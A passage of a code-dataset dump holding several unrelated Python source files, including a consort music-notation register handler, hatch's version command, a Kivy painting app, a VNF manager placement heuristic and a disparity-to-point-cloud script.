list(agent.signature_keyword_names)\n names.extend(sorted(self.music_specifiers))\n template_names = tuple(names)\n if 'color' in names:\n names.remove('color')\n return systemtools.FormatSpecification(\n client=self,\n storage_format_kwargs_names=names,\n template_names=template_names,\n )\n\n ### PUBLIC METHODS ###\n\n def resolve_music_specifiers(\n self,\n score_template,\n score=None,\n ):\n import consort\n assert score_template is not None\n if score is None:\n score = score_template()\n all_abbreviations = score_template.context_name_abbreviations\n prototype = (\n consort.CompositeMusicSpecifier,\n consort.MusicSpecifierSequence,\n )\n triples = []\n for abbreviation, music_specifier in self.music_specifiers.items():\n if not isinstance(music_specifier, prototype):\n music_specifier = consort.MusicSpecifierSequence(\n music_specifiers=music_specifier,\n )\n context_name = all_abbreviations[abbreviation]\n context = score[context_name]\n context_index = abjad.inspect(context).get_parentage().score_index\n context_name = context.name\n if isinstance(music_specifier, consort.CompositeMusicSpecifier):\n composite_pairs = score_template.composite_context_pairs\n one, two = composite_pairs[abbreviation]\n primary_voice_name = all_abbreviations[one]\n secondary_voice_name = all_abbreviations[two]\n music_specifier = abjad.new(\n music_specifier,\n primary_voice_name=primary_voice_name,\n secondary_voice_name=secondary_voice_name,\n )\n triple = (\n context_index,\n context_name,\n music_specifier,\n )\n triples.append(triple)\n triples.sort(key=lambda x: x[0])\n music_specifiers = collections.OrderedDict()\n for context_index, context_name, music_specifier in triples:\n music_specifiers[context_name] = music_specifier\n return music_specifiers\n\n def resolve_silenced_contexts(\n self,\n score_template,\n score=None,\n ):\n assert score_template is not None\n if score is None:\n score = score_template()\n all_abbreviations = score_template.context_name_abbreviations\n composite_pairs = getattr(\n score_template,\n 'composite_context_pairs',\n {},\n )\n silenced_context_names = set()\n silenced_contexts = self.silenced_contexts or ()\n for abbreviation in silenced_contexts:\n if abbreviation in composite_pairs:\n one, two = composite_pairs[abbreviation]\n primary_voice_name = all_abbreviations[one]\n secondary_voice_name = all_abbreviations[two]\n silenced_context_names.add(primary_voice_name)\n silenced_context_names.add(secondary_voice_name)\n elif abbreviation in all_abbreviations:\n context_name = all_abbreviations[abbreviation]\n silenced_context_names.add(context_name)\n else:\n message = 'Unresolvable context abbreviation: {}'\n message = message.format(abbreviation)\n raise Exception(message)\n return silenced_context_names\n\n def resolve_target_timespans(\n self,\n segment_timespan,\n timespan_quantization=None,\n ):\n import consort\n assert isinstance(segment_timespan, abjad.Timespan)\n timespan_identifier = self.timespan_identifier\n if timespan_identifier is None:\n target_timespans = abjad.TimespanList([\n segment_timespan,\n ])\n elif isinstance(self.timespan_identifier, abjad.Timespan):\n if timespan_identifier.stop_offset == Infinity:\n timespan_identifier = abjad.new(\n timespan_identifier,\n stop_offset=segment_timespan.stop_offset,\n )\n segment_timespan = abjad.Timespan(start_offset=0)\n target_timespans = segment_timespan & timespan_identifier\n else:\n if isinstance(timespan_identifier, consort.RatioPartsExpression):\n mask_timespans = timespan_identifier(segment_timespan)\n else:\n mask_timespans = timespan_identifier\n target_timespans = abjad.TimespanList()\n for mask_timespan in mask_timespans:\n available_timespans = segment_timespan & mask_timespan\n target_timespans.extend(available_timespans)\n if timespan_quantization is not None:\n target_timespans.round_offsets(\n timespan_quantization,\n must_be_well_formed=True,\n )\n return target_timespans\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def music_specifiers(self):\n return self._music_specifiers\n\n @property\n def silenced_contexts(self):\n return self._silenced_contexts\n\n @property\n def timespan_identifier(self):\n return self._timespan_identifier\n\n @property\n def timespan_maker(self):\n return self._timespan_maker\n","repo_name":"josiah-wolf-oberholtzer/consort","sub_path":"consort/tools/MusicSetting.py","file_name":"MusicSetting.py","file_ext":"py","file_size_in_byte":20323,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"20"} +{"seq_id":"6267735443","text":"import click\n\n\n@click.command(short_help=\"View or set a project's version\")\n@click.argument('desired_version', required=False)\n@click.pass_obj\ndef version(app, desired_version):\n \"\"\"View or set a project's version.\"\"\"\n if 'version' in app.project.metadata.config.get('project', {}):\n if desired_version:\n app.abort('Cannot set version when it is statically defined by the `project.version` field')\n else:\n app.display(app.project.metadata.config['project']['version'])\n return\n\n from hatchling.dep.core import dependencies_in_sync\n\n with app.project.location.as_cwd():\n if not (\n 'version' in app.project.metadata.dynamic or app.project.metadata.hatch.metadata.hook_config\n ) or dependencies_in_sync(app.project.metadata.build.requires_complex):\n source = app.project.metadata.hatch.version.source\n\n version_data = source.get_version_data()\n original_version = version_data['version']\n\n if not desired_version:\n app.display(original_version)\n return\n\n updated_version = app.project.metadata.hatch.version.scheme.update(\n desired_version, original_version, version_data\n )\n source.set_version(updated_version, version_data)\n\n app.display_info(f'Old: {original_version}')\n app.display_info(f'New: {updated_version}')\n else:\n app.ensure_environment_plugin_dependencies()\n\n environment = app.get_environment()\n try:\n environment.check_compatibility()\n except Exception as e:\n app.abort(f'Environment `{environment.name}` is incompatible: {e}')\n\n with app.status_if(\n 'Setting up build environment for missing dependencies',\n condition=not environment.build_environment_exists(),\n ) as status, environment.build_environment(app.project.metadata.build.requires):\n status.stop()\n\n command = ['python', '-u', '-m', 'hatchling', 'version', '--app']\n if desired_version:\n command.append(desired_version)\n\n process = app.platform.capture_process(command)\n app.attach_builder(process)\n","repo_name":"pypa/hatch","sub_path":"src/hatch/cli/version/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":4699,"dataset":"github-code","pt":"20"} +{"seq_id":"843657110","text":"import pandas as pd\n\nusers = pd.DataFrame(columns=['age','gender','hobby'], data=[[30,'Male','coding'],[18,'Male','reading'],[30,'Female','writing'],[23,'Female','travelling']])\n\ntype(users) # DataFrame\ntype(users['age']) # Series\n\n# apply to DataFrame object\nusers.drop_duplicates() \n\n# apply to Series object\nusers['age'].drop_duplicates()\n","repo_name":"hduyanh/pandas-basics","sub_path":"01-fundamentals.py","file_name":"01-fundamentals.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26662115708","text":"import sys\nfrom random import random\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.graphics import Color, Ellipse, Line\nfrom kivy.input.providers.hidinput import HIDMotionEvent\nfrom kivy.uix.button import Button\nfrom kivy.core.window import Window\nfrom kivy.properties import ListProperty, NumericProperty\nfrom kivy.graphics import *\nimport numpy as np\nfrom colorthief import ColorThief\nimport math\nimport colorsys\nfrom skimage import io\nfrom skimage.segmentation import felzenszwalb, find_boundaries\nimport numpy as np\nfrom kivy.uix.slider import Slider\nimport random\n\nWindow.clearcolor = (0.9, 0.9, 0.9, 1)\n\nclass MyBackground(Widget):\n def __init__(self, mysize, **kwargs):\n super(MyBackground, self).__init__(**kwargs)\n self.mysize = mysize\n\n def draw_background(self):\n with self.canvas:\n img = io.imread(self.fpath)\n img_segments = felzenszwalb(img, scale=150, sigma=2, min_size=1000)\n imgmat = find_boundaries(img_segments).astype(np.uint8)\n io.imsave('tmp.png', imgmat*-255)\n self.bg = Rectangle(source='tmp.png', pos=(0,0), size=self.mysize)\n\n\nclass MyPaintWidget(Widget):\n def __init__(self, fpath, **kwargs):\n super(MyPaintWidget, self).__init__(**kwargs)\n self.fpath = fpath\n self.dirs = np.ones(3)\n self.add_background()\n self.init_color = (0,0,0,1)\n\n\n def add_background(self):\n self.bg = MyBackground(mysize=self.size)\n self.bg.fpath = self.fpath\n self.add_widget(self.bg)\n self.bg.draw_background()\n\n def clear(self):\n self.pencolor = self.init_color\n self.canvas.clear()\n self.add_background()\n\n def blank(self):\n self.pencolor = self.init_color\n self.canvas.clear()\n with self.canvas:\n Color(rgba=(1,1,1,1))\n Rectangle(pos=(0, 0), size=self.size)\n\n def on_touch_down(self, touch):\n if self.collide_point(*touch.pos):\n if not isinstance(touch, HIDMotionEvent):\n with self.canvas:\n Color(rgba=self.pencolor)\n d = self.pendiameter\n Ellipse(pos=(touch.x - d / 2, touch.y - d / 2), size=(d, d))\n touch.ud['line'] = Line(points=(touch.x, touch.y))\n\n\n def on_touch_move(self, touch):\n first_col = np.array(self.btncol[0:3])*255\n current_col = np.array(self.pencolor[0:3])*255\n max_steps = np.array([4,4,4])\n max_limit = 20\n ranges = [np.arange(first_col[i]-max_limit, first_col[i]+max_limit) for i in np.arange(3)]\n\n if self.collide_point(*touch.pos):\n if not isinstance(touch, HIDMotionEvent):\n touch.ud['line'].width = self.pendiameter/2\n touch.ud['line'].points += [touch.x, touch.y]\n new_col = np.zeros(3)\n for i in np.arange(3):\n change = np.random.randint(1, max_steps[i])\n changed = current_col[i] + (change * self.dirs[i])\n if (changed not in ranges[i]) or changed > 255 or changed < 0 :\n self.dirs[i] = -self.dirs[i]\n print(i)\n new_col[i] = current_col[i] + (change * self.dirs[i])\n print(new_col)\n self.pencolor = tuple(np.hstack((new_col/255, 1)))\n self.on_touch_down(touch)\n\n\nclass MyPaintApp(App):\n\n def build(self):\n parent = Widget()\n self.fname = 'fruit.jpg'\n f = io.imread(self.fname)\n ratio_width_vs_height = f.shape[1] / f.shape[0]\n width = (Window.size[1] - 200) * ratio_width_vs_height\n height = Window.size[1]-200\n# width = Window.size[0]\n# height = Window.size[1] - 200\n\n self.painter = MyPaintWidget(size=(width, height), fpath=self.fname)\n\n parent.add_widget(self.painter)\n\n closebtn = Button(text='Close', size_hint=(None, None), size=(100, 50), pos=(Window.width - 100, Window.height - 50))\n closebtn.bind(on_release=self.myclose)\n parent.add_widget(closebtn)\n\n clearbtn = Button(text='Clear', size_hint=(None, None), size=(100, 50), pos=(Window.width - 200, Window.height - 50))\n clearbtn.bind(on_release=self.clear_canvas)\n parent.add_widget(clearbtn)\n \n savebtn = Button(text='Save', size_hint=(None, None), size=(100, 50), pos=(Window.width - 300, Window.height - 50))\n savebtn.bind(on_release=self.mysave)\n parent.add_widget(savebtn)\n\n blankbtn = Button(text='blank', size_hint=(None, None), size=(100, 50), pos=(Window.width - 400, Window.height - 50))\n blankbtn.bind(on_release=self.blank)\n parent.add_widget(blankbtn)\n\n init_pendiameter = 30\n myslider = Slider(min=2, max=100, value=init_pendiameter, size=(400, 50), pos=(10, Window.height - 50))\n myslider.bind(value=self.OnSliderValueChange)\n parent.add_widget(myslider)\n self.painter.pendiameter = init_pendiameter\n\n def step(r, g, b, repetitions=10):\n lum = math.sqrt(.241 * r + .691 * g + .068 * b)\n h, s, v = colorsys.rgb_to_hsv(r, g, b)\n h2 = int(h * repetitions)\n v2 = int(v * repetitions)\n if h2 % 2 == 1:\n v2 = repetitions - v2\n lum = repetitions - lum\n return (h2, lum, v2)\n\n n_cols = 20\n color_thief = ColorThief(self.painter.fpath)\n col_list = np.array(color_thief.get_palette(color_count=n_cols))\n col_list = sorted(col_list, key=lambda color: step(color[0], color[1], color[2], 10))\n col_list = np.array(col_list)/255\n self.init_color = tuple(np.hstack((col_list[0], 1)))\n self.painter.pencolor = self.init_color\n self.painter.btncol = self.init_color\n\n btn_width = 20\n btn_height = 50\n if Window.width - (n_cols*btn_width+btn_width) < 0:\n print('too many buttons')\n self.myclose_empty()\n\n for i_c, col in enumerate(col_list):\n bt = Button(text='',\n background_color=col,\n background_normal='',\n size_hint=(None, None), size=(btn_width, btn_height),\n pos=(Window.width - (i_c*btn_width+btn_width), Window.height - 100))\n bt.bind(on_release=self.newclr)\n parent.add_widget(bt)\n \n return parent\n\n def OnSliderValueChange(self, instance, value):\n self.painter.pendiameter = value\n\n def newclr(self, instance):\n newcol = instance.background_color\n newcol = tuple(newcol)\n self.painter.pencolor = newcol\n self.painter.btncol = newcol\n print(newcol)\n\n def myclose_empty(self):\n self.stop()\n sys.exit()\n\n def myclose(self, args):\n self.myclose_empty()\n \n def clear_canvas(self, obj):\n print('clear')\n self.painter.init_color = self.init_color\n self.painter.clear()\n\n def blank(self, obj):\n print('blank')\n self.painter.init_color = self.init_color\n self.painter.blank()\n\n\n def mysave(self, obj):\n print('save')\n self.painter.export_as_image().save('image.jpg')\n \n\nif __name__ == '__main__':\n MyPaintApp().run()\n","repo_name":"NicoleEic/raspberrypi_projects","sub_path":"mypaint/test6.py","file_name":"test6.py","file_ext":"py","file_size_in_byte":7359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2634156076","text":"'''\r\nPandas is the only external library used in this class because Pandas is the easiest way to read parquet files in python and have them in Dataframes that are easy to read and write\r\nPandas also has a lot of extremely powerful filtering tools that takes a huge amount of the work. Since pandas is written in a mix of python and C it should be faster than just doing everything in python only\r\n'''\r\n\r\nimport pandas as pd\r\nimport os\r\n\r\nclass ProcessGameState():\r\n def __init__(self, filePath):\r\n if not os.path.isfile(filePath):\r\n print(\"That file does not exist\")\r\n self.filePath = filePath # Gets the filepath as a constructor\r\n self.df = pd.read_parquet(self.filePath) # Reads the parquet file containing the data and processes it as a pandas DF\r\n\r\n def getDF(self):\r\n return self.df\r\n \r\n def withinBoundary(self, point, coordinateSet): # Point in polygon algorithm\r\n num_intersections = 0\r\n x, y = point\r\n\r\n # Using the point in polygon method, we get the point the user wants to see if it's within a boundary and then we get a list of coordinates that make up the border of the area we are examining\r\n for i in range(len(coordinateSet)): \r\n x1, y1 = coordinateSet[i]\r\n x2, y2 = coordinateSet[(i + 1) % len(coordinateSet)]\r\n if ((y1 <= y and y < y2) or (y2 <= y and y < y1)) and (x < (x2 - x1) * (y - y1) / (y2 - y1) + x1):\r\n num_intersections += 1\r\n \r\n return num_intersections % 2 == 1\r\n \r\n def playerInventory(self, player, side, roundnum): # Checks a players inventory given the player, side, and round number\r\n # Makes a inv df that is the original dataframe with all the filters applied and then gets the inventory column of that dataframe\r\n inv = self.df.loc[(self.df[\"side\"]==side) & (self.df[\"round_num\"] == roundnum) & (self.df[\"player\"] == player) & (self.df[\"is_alive\"] == True)][\"inventory\"] \r\n uniqueWeaponsForPlayer = {} # Dictionary where the keys are the weapon classes and the values are booleans where it's True if they're in the inventory\r\n for i in inv: # Goes through every row in the dataframe\r\n if i[0][\"weapon_class\"] not in uniqueWeaponsForPlayer: # This gets the dictionary (i[0]) then gets the weapon class from that dictionary ([weapon_class])\r\n uniqueWeaponsForPlayer[i[0][\"weapon_class\"]] = True # If the weapon class isn't in the dictionary already then it makes a new key value pair with the weapon class and a true boolean\r\n\r\n return uniqueWeaponsForPlayer # Returns the dictionary","repo_name":"OJ101003/EvilGeniusesAssessment","sub_path":"ProcessGameState.py","file_name":"ProcessGameState.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74946641970","text":"import abjad\nfrom abjad.tools import instrumenttools\nfrom abjad.tools import pitchtools\nfrom consort.tools.HashCachingObject import HashCachingObject\n\n\nclass RegisterHandler(HashCachingObject):\n\n ### CLASS VARIABLES ###\n\n __slots__ = (\n '_application_rate',\n '_logical_tie_expressions',\n '_logical_tie_expressions_are_phrased',\n '_octavations',\n '_pitch_range',\n '_register_specifier',\n '_register_spread',\n )\n\n _default_octavations = abjad.CyclicTuple([\n 4, 2, 1, 0, 5, 6, 7, 3,\n 0, 5, 3, 1, 7, 4, 2, 6,\n 2, 1, 5, 3, 4, 0, 7, 6,\n 1, 2, 4, 0, 5, 7, 6, 3,\n 7, 0, 3, 1, 5, 4, 6, 2,\n 6, 1, 2, 0, 7, 5, 3, 4,\n 3, 0, 4, 7, 2, 5, 6, 1,\n 2, 3, 4, 7, 5, 1, 0, 6,\n ])\n\n ### INITIALIZER ###\n\n def __init__(\n self,\n application_rate=None,\n logical_tie_expressions=None,\n logical_tie_expressions_are_phrased=None,\n octavations=None,\n pitch_range=None,\n register_specifier=None,\n register_spread=None,\n ):\n HashCachingObject.__init__(self)\n self._initialize_application_rate(application_rate)\n self._initialize_logical_tie_expressions(logical_tie_expressions)\n self._initialize_octavations(octavations)\n self._initialize_pitch_range(pitch_range)\n self._initialize_register_specifier(register_specifier)\n self._initialize_register_spread(register_spread)\n if logical_tie_expressions_are_phrased is not None:\n logical_tie_expressions_are_phrased = bool(logical_tie_expressions_are_phrased)\n self._logical_tie_expressions_are_phrased = logical_tie_expressions_are_phrased\n\n ### SPECIAL METHODS ###\n\n def __call__(\n self,\n attack_point_signature,\n logical_tie,\n music_specifier,\n seed_session,\n ):\n instrument = self._get_instrument(logical_tie, music_specifier)\n pitch_range = self._get_pitch_range(\n instrument,\n logical_tie,\n )\n registration = self._get_registration(\n attack_point_signature,\n logical_tie,\n seed_session.current_timewise_phrase_seed,\n )\n pitch_class = logical_tie[0].written_pitch.pitch_class\n pitch = self._get_pitch(\n pitch_class,\n registration,\n seed_session.current_phrased_voicewise_logical_tie_seed,\n )\n pitch_range = self.pitch_range or pitch_range\n if pitch_range is not None:\n pitch = self._fit_pitch_to_pitch_range(\n pitch,\n pitch_range,\n )\n for leaf in logical_tie:\n leaf.written_pitch = pitch\n if self.logical_tie_expressions_are_phrased:\n logical_tie_seed = seed_session.current_phrased_voicewise_logical_tie_seed\n else:\n logical_tie_seed = seed_session.current_unphrased_voicewise_logical_tie_seed\n self._apply_logical_tie_expression(\n logical_tie=logical_tie,\n pitch_range=pitch_range,\n seed=logical_tie_seed,\n )\n\n ### PRIVATE METHODS ###\n\n def _apply_logical_tie_expression(\n self,\n logical_tie,\n pitch_range,\n seed,\n ):\n if not self.logical_tie_expressions:\n return\n logical_tie_expression = self.logical_tie_expressions[seed]\n if logical_tie_expression is None:\n return\n logical_tie_expression(\n logical_tie,\n pitch_range=pitch_range,\n )\n\n def _fit_pitch_to_pitch_range(self, pitch, pitch_range):\n while pitch <= pitch_range.start_pitch and \\\n pitch not in pitch_range:\n pitch = pitch.transpose(12)\n while pitch_range.stop_pitch <= pitch and \\\n pitch not in pitch_range:\n pitch = pitch.transpose(-12)\n assert pitch in pitch_range, \\\n (pitch, pitch.octave_number, pitch_range)\n return pitch\n\n @staticmethod\n def _get_instrument(logical_tie, music_specifier):\n if music_specifier.instrument is not None:\n return music_specifier.instrument\n component = logical_tie.head\n prototype = instrumenttools.Instrument\n instrument = abjad.inspect(component).get_effective(prototype)\n return instrument\n\n def _get_pitch(\n self,\n pitch_class,\n registration,\n seed,\n ):\n octavations = self.octavations or self._default_octavations\n octave = octavations[seed]\n pitch = abjad.NamedPitch((pitch_class, octave))\n pitch_range = pitchtools.PitchRange('[C0, C8)')\n pitch = self._fit_pitch_to_pitch_range(pitch, pitch_range)\n pitch = registration([pitch])[0]\n pitch = abjad.NamedPitch(pitch)\n return pitch\n\n @staticmethod\n def _get_pitch_range(\n instrument,\n logical_tie,\n ):\n prototype = pitchtools.PitchRange\n component = logical_tie.head\n pitch_range = abjad.inspect(component).get_effective(prototype)\n if pitch_range is None and instrument is not None:\n pitch_range = instrument.pitch_range\n return pitch_range\n\n def _get_registration(\n self,\n attack_point_signature,\n logical_tie,\n phrase_seed,\n ):\n import consort\n register_specifier = self.register_specifier\n if register_specifier is None:\n register_specifier = consort.RegisterSpecifier()\n register = register_specifier.find_register(\n attack_point_signature,\n seed=phrase_seed,\n )\n register_spread = self.register_spread\n if register_spread is None:\n register_spread = 6\n registration = \\\n pitchtools.Registration([\n ('[C0, C4)', register),\n ('[C4, C8)', register + register_spread),\n ])\n return registration\n\n def _initialize_application_rate(self, application_rate):\n assert application_rate in (\n None, 'logical_tie', 'division', 'phrase',\n )\n self._application_rate = application_rate\n\n def _initialize_logical_tie_expressions(self, logical_tie_expressions):\n import consort\n if logical_tie_expressions:\n prototype = (consort.LogicalTieExpression, type(None))\n assert logical_tie_expressions, logical_tie_expressions\n assert all(isinstance(_, prototype)\n for _ in logical_tie_expressions), \\\n logical_tie_expressions\n logical_tie_expressions = abjad.CyclicTuple(\n logical_tie_expressions,\n )\n self._logical_tie_expressions = logical_tie_expressions\n\n def _initialize_octavations(self, octavations):\n if octavations is not None:\n assert octavations\n assert all(isinstance(x, int) for x in octavations)\n octavations = abjad.CyclicTuple(octavations)\n self._octavations = octavations\n\n def _initialize_pitch_range(self, pitch_range):\n if pitch_range is not None:\n assert isinstance(pitch_range, pitchtools.PitchRange)\n self._pitch_range = pitch_range\n\n def _initialize_register_specifier(self, register_specifier):\n import consort\n if register_specifier is not None:\n assert isinstance(register_specifier, consort.RegisterSpecifier)\n self._register_specifier = register_specifier\n\n def _initialize_register_spread(self, register_spread):\n if register_spread is not None:\n register_spread = int(register_spread)\n assert 0 <= register_spread < 12\n self._register_spread = register_spread\n\n @staticmethod\n def _process_session(segment_maker):\n import consort\n maker = consort.SegmentMaker\n attack_point_map = segment_maker.attack_point_map\n seed_session = consort.SeedSession()\n for logical_tie in attack_point_map:\n music_specifier = maker.logical_tie_to_music_specifier(logical_tie)\n if not music_specifier or not music_specifier.register_handler:\n continue\n register_handler = music_specifier.register_handler\n attack_point_signature = attack_point_map[logical_tie]\n application_rate = register_handler.application_rate\n voice = consort.SegmentMaker.logical_tie_to_voice(logical_tie)\n seed_session(\n application_rate,\n attack_point_signature,\n music_specifier,\n voice,\n )\n register_handler(\n attack_point_signature,\n logical_tie,\n music_specifier,\n seed_session,\n )\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def application_rate(self):\n return self._application_rate\n\n @property\n def logical_tie_expressions(self):\n return self._logical_tie_expressions\n\n @property\n def logical_tie_expressions_are_phrased(self):\n return self._logical_tie_expressions_are_phrased\n\n @property\n def octavations(self):\n return self._octavations\n\n @property\n def pitch_range(self):\n return self._pitch_range\n\n @property\n def register_specifier(self):\n return self._register_specifier\n\n @property\n def register_spread(self):\n return self._register_spread\n","repo_name":"josiah-wolf-oberholtzer/consort","sub_path":"consort/tools/RegisterHandler.py","file_name":"RegisterHandler.py","file_ext":"py","file_size_in_byte":9582,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"20"} +{"seq_id":"16413511604","text":"import typing\nimport random\nimport itertools\n\nfrom bari import Bari\nfrom domain import (\n Placement,\n ManagementPlacement,\n Chain,\n Topology,\n Node,\n)\n\n\nclass Abu(Bari):\n \"\"\"\n Abu implements the Mohammad Abu-Lebdeh (10.1109/TNSM.2017.2730199)\n tabu search for placing the VNFMs.\n\n Note that Abu-Lebdeh doesn't mention the VNF placement so we are using\n the Bari solution here for placement.\n\n If we doesn't provision any resources for VNFMs in the first place,\n this can cause unfeasible solution so we are provisioning resources\n at least one vnfm per node.\n \"\"\"\n\n n_iter: int = 1000\n # the precentage of nodes that we are\n # going to reserve VNFM resource on them\n reserve_percentage: int = 100\n\n def _solve(\n self,\n ) -> typing.List[typing.Tuple[Placement, ManagementPlacement]]:\n placements: typing.List[typing.Tuple[Placement, None]] = []\n\n self.logger.info(\n \"Reserving VNFM resources on %d%% nodes\", self.reserve_percentage\n )\n # we need to reserve resources on nodes for future VNFMs provisioning\n # also we store the list of reserved node to put back their resources\n # after VNF placement.\n reserved_nodes: typing.List[str] = []\n for _id, node in self.topology.nodes.items():\n if (\n node.cores <= self.vnfm.cores\n or node.memory <= self.vnfm.memory\n ):\n continue\n if random.randint(1, 100) > self.reserve_percentage:\n continue\n reserved_nodes.append(_id)\n self.topology.update_node(\n _id,\n Node(\n cores=node.cores - self.vnfm.cores,\n memory=node.memory - self.vnfm.memory,\n direction=node.direction,\n vnf_support=node.vnf_support,\n not_manager_nodes=node.not_manager_nodes,\n ),\n )\n\n # place chains with Bari algorithm.\n # The Bari algorithm is the parent of Abu algorithm\n # and we call its place method.\n for chain in self.chains:\n self.logger.info(\"Placement of %s started\", chain.name)\n\n placement = self.place(chain)\n if placement is not None:\n self.logger.info(\n \"VNF Placement of %s was successful\", chain.name\n )\n placement.apply_on_topology(self.topology)\n placements.append((placement, None))\n else:\n self.logger.info(\"VNF Placement of %s failed\", chain.name)\n\n # valid placements are the placements which has their\n # manager on one of their's node.\n actual_placements: typing.List[\n typing.Tuple[Placement, ManagementPlacement]\n ] = []\n\n # take the reserved resources back to provision the VNFMs\n for _id in reserved_nodes:\n node = self.topology.nodes[_id]\n self.topology.update_node(\n _id,\n Node(\n cores=node.cores + self.vnfm.cores,\n memory=node.memory + self.vnfm.memory,\n direction=node.direction,\n vnf_support=node.vnf_support,\n not_manager_nodes=node.not_manager_nodes,\n ),\n )\n\n # find manager placement for each placed chain\n # to fill actual placements.\n # actual placements contains placement and manager placement.\n # if we cannot find the manager placement we are going\n # to revert its placement.\n for placement, _ in placements:\n manager_placement = self.place_manager(\n placement.chain, self.topology, placement\n )\n if manager_placement is not None:\n self.manage_by_node[\n manager_placement.management_node\n ] = self.manage_by_node.get(\n manager_placement.management_node, 0\n ) + sum(\n placement.chain.manageable_functions\n )\n\n manager_placement.apply_on_topology(self.topology)\n actual_placements.append((placement, manager_placement))\n else:\n placement.revert_on_topology(self.topology)\n self.logger.info(\n \"the placement %s failed because of its manager\",\n placement.chain.name,\n )\n\n # in each iteration we try to improve the manager placement\n # based on tabu search. in each iteration we do the following:\n # - randomly switch chains between vnfms\n for _ in range(self.n_iter):\n current_cost = self.cost\n\n # randomly switch chains between vnfms\n index = random.randint(0, len(actual_placements) - 1)\n p, mp = actual_placements[index]\n\n # each node can be a manager if it has the required resources\n # here we are going to choose a new vnfm for randomly\n # selected chain\n vnfm = random.choice(\n list(set(self.topology.nodes) - set(mp.management_node))\n )\n\n # revert the current manager placement if it exists\n self.revert_management(mp)\n\n # find new manager placement\n manageable_functions = list(\n itertools.compress(p.nodes, p.chain.manageable_functions)\n )\n if self.is_management_resource_available(\n self.topology, vnfm, manageable_functions\n ):\n paths = []\n for n in manageable_functions:\n path = self.topology.path(vnfm, n, self.vnfm.bandwidth)\n if path is not None:\n paths.append(path)\n new_mp = ManagementPlacement(p.chain, self.vnfm, vnfm, paths)\n\n # apply new manager placement\n self.apply_management(new_mp)\n\n if self.cost > current_cost:\n self.revert_management(new_mp)\n self.apply_management(mp)\n else:\n # update the placement\n actual_placements[index] = (\n p,\n new_mp,\n )\n else:\n self.apply_management(mp)\n\n return actual_placements\n\n def apply_management(self, mp: ManagementPlacement):\n mp.apply_on_topology(self.topology)\n self.manage_by_node[mp.management_node] = self.manage_by_node.get(\n mp.management_node, 0\n ) + len(mp.management_links)\n\n def revert_management(self, mp: ManagementPlacement):\n mp.revert_on_topology(self.topology)\n self.manage_by_node[mp.management_node] = self.manage_by_node.get(\n mp.management_node, 0\n ) - len(mp.management_links)\n\n def place_manager(\n self, chain: Chain, topology: Topology, placement: Placement\n ) -> typing.Union[ManagementPlacement, None]:\n \"\"\"\n selects manager from the chain's node then reserves bandwidth\n for its connections\n \"\"\"\n node = \"\"\n\n # returns list of the physical nodes that runs manageable functions.\n # managable functions needs manager and placement only contains\n # the single chain placement.\n # we select one of these nodes as chain manager.\n for _node in set(\n itertools.compress(placement.nodes, chain.manageable_functions)\n ):\n if self.is_management_resource_available(\n topology,\n _node,\n list(\n itertools.compress(\n placement.nodes, chain.manageable_functions\n )\n ),\n ):\n node = _node\n break\n else:\n return None\n\n paths = []\n for _node in itertools.compress(\n placement.nodes, placement.chain.manageable_functions\n ):\n path = topology.path(node, _node, self.vnfm.bandwidth)\n if path is not None:\n paths.append(path)\n\n return ManagementPlacement(chain, self.vnfm, node, paths)\n","repo_name":"reinnet/jsd-mp","sub_path":"jsd_mp/abu/abu.py","file_name":"abu.py","file_ext":"py","file_size_in_byte":8356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72991942449","text":"import cv2,time\nimport numpy as np\nfrom PIL import Image\n\npcd_filename = 'point_cloud.pcd'\n\nimg = cv2.imread('/Users/huhchaewon/python_projects/CGI-Stereo/result_disp.png',cv2.IMREAD_UNCHANGED)\nimg = img.astype(np.float32)/128.0\n\n\n#preprocessing\n# original_height,original_width = img.shape\n# new_height = 256\n# new_width = int(original_width * (new_height / original_height))\n\n# img = cv2.resize(img, (new_width, new_height), interpolation=cv2.INTER_NEAREST)\n# img = img[:256, :512]\n\n\n#Finding non-zero pixel / 0.07\nnonzero_indices = np.nonzero(img)\n\n\n\n#disparity point -> pcd\nfocal_x = 2.061940e+03\nfocal_y = 2.060674e+03\n\n\ncenter_x = int(512/2)\ncenter_y = int(256/2)\n\nbaseline = 0.54\n\n\n#write pcd file\npoints = []\n\nstart_time = time.time()\nfor idx in range(len(nonzero_indices[0])):\n nonzero_x,nonzero_y = nonzero_indices[1][idx],nonzero_indices[0][idx]\n \n z_point = (focal_x * baseline) / img[nonzero_y,nonzero_x]\n x_point = (nonzero_x - center_x) * z_point / focal_x\n y_point = (nonzero_y - center_y) * z_point / focal_y\n \n if 0 <= z_point <= 30 and -15 <= x_point <= 15 and 0.3 >= y_point >= -2:\n points.append([x_point,y_point,z_point])\n \n\nprint('time : ',time.time()-start_time)\n\n#header\nheader = \"# .PCD v.7 - Point Cloud Data file format\\n\"\nheader += \"VERSION .7\\n\"\nheader += \"FIELDS x y z\\n\"\nheader += \"SIZE 4 4 4\\n\"\nheader += \"TYPE F F F\\n\"\nheader += \"COUNT 1 1 1\\n\"\nheader += \"WIDTH {}\\n\".format(img.shape[1])\nheader += \"HEIGHT {}\\n\".format(img.shape[0])\nheader += \"VIEWPOINT 0 0 0 1 0 0 0\\n\"\nheader += \"POINTS {}\\n\".format(img.shape[0] * img.shape[1])\nheader += \"DATA ascii\\n\"\n\n#write pcd file\npoints = np.array(points).astype(np.float32)\npcd_file = open(pcd_filename, 'w')\npcd_file.write(header)\nfor point in points:\n pcd_file.write(\"{} {} {}\\n\".format(point[0], point[1], 